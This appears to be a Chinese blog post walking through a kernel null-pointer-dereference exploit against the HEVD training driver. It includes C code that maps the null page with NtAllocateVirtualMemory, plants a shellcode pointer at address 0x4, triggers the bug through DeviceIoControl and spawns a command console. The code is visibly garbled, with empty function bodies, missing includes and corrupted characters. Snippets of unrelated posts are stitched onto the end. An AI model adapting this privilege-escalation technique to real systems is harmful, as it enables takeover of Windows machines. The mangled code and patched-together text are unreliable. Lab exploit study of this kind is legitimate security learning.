空指標這個其實一直是乙個比較容易找到bug的點
因為一旦空指標指向了 不對的記憶體 就會報錯 r3的程式會崩潰 r0的驅動會藍屏 ====
看一下 **
可以看出 安全的版本就是 檢查了一下 這個指標是否為空的 (其實有時候這樣判斷也未必一定安全)
但是 不安全的版本卻沒有 判斷 那麼 就會造成乙個結果 就是會執行 ** (0+sizeof(ulong))處指向的**
那麼 如果看過0day安全的小夥伴 一定對這個很了解 那個demo 的解法 就是把shellcode 寫到 位址0處
這個可以同樣的解 ==
其中 在用 ntallocatevirtualmemory 申請記憶體的時候 看準這一句話
exp 過程 ==
找到 ntallocatevirtualmemory
然後 用 ntallocatevirtualmemory 申請 位址0處的記憶體
然後傳入shellcode 就ok了
#include#include#define nt_success(status) (((ntstatus)(status)) >= 0)
handle hdevice = null;
typedef ntstatus
(winapi* my_ntallocatevirtualmemory)(
in handle processhandle,
in out pvoid* baseaddress,
in ulong zerobits,
in out pulong regionsize,
in ulong allocationtype,
in ulong protect
);my_ntallocatevirtualmemory ntallocatevirtualmemory = null;
static void shellcode()
}static void createcmd()
; process_information pi = ;
si.dwflags = startf_useshowwindow;
si.wshowwindow = sw_show;
wchar wzfilepath[max_path] = ;
bool breturn = createprocessw(null, wzfilepath, null, null, false, create_new_console, null, null, (lpstartupinfow)& si, &pi);
if (breturn)
closehandle(pi.hthread), closehandle(pi.hprocess);
}int main()
*(farproc*)& ntallocatevirtualmemory = getprocaddress(
getmodulehandlew(l"ntdll"),
"ntallocatevirtualmemory");
if (ntallocatevirtualmemory == null)
dword breturn = 0;
pvoid zero_addr = (pvoid)1;
size_t regionsize = 0x1000;
if (!nt_success(ntallocatevirtualmemory(
invalid_handle_value,
&zero_addr,
0,®ionsize,
mem_commit | mem_reserve,
page_readwrite)) || zero_addr != null)
*(dword*)(0x4) = (dword)& shellcode;
deviceiocontrol(hdevice, 0x22202b, buf, 4, null, 0, &breturn, null);
createcmd();
system("pause");
}
ok 搞定一把梭====
參考鏈結
Windows核心漏洞學習 HEVD的使用
hevd安裝 啟動 hacksysevdexploit.exe hacksysevdexploit.exe c cmd p 在啟動的時候遇到問題,提示缺少檔案msvcp100.dll。心酸,正常是安裝vs2008就可解決的,但是在虛擬機器裡安裝vs有點卡,直接安裝了360安全衛士然後人工服務搜尋ms...
LeetCode解題方法之 空指標
203.remove linked list elements 1.這樣可以處理空鍊錶特殊情況,頭指標為要刪除的值的特殊情況 使用空指標p在這裡的好處在於,1.p儲存了頭結點,2.而最開始pre和p指向了同乙個節點物件,這樣如果首節點是空節點或等於val時,可以直接進行操作,因此首節點也可以當做普通...
學習筆記之09 空指標和野指標
1 沒有儲存任何記憶體位址的指標就稱為空指標 null指標 2 空指標就是被賦值為0的指標,在沒有被具體初始化之前,其值為0。下面兩個都是空指標 1 student s1 null 2 3 student s2 nil 野指標 不是null指標,是指向 垃圾 記憶體 不可用記憶體 的指標。野指標是非...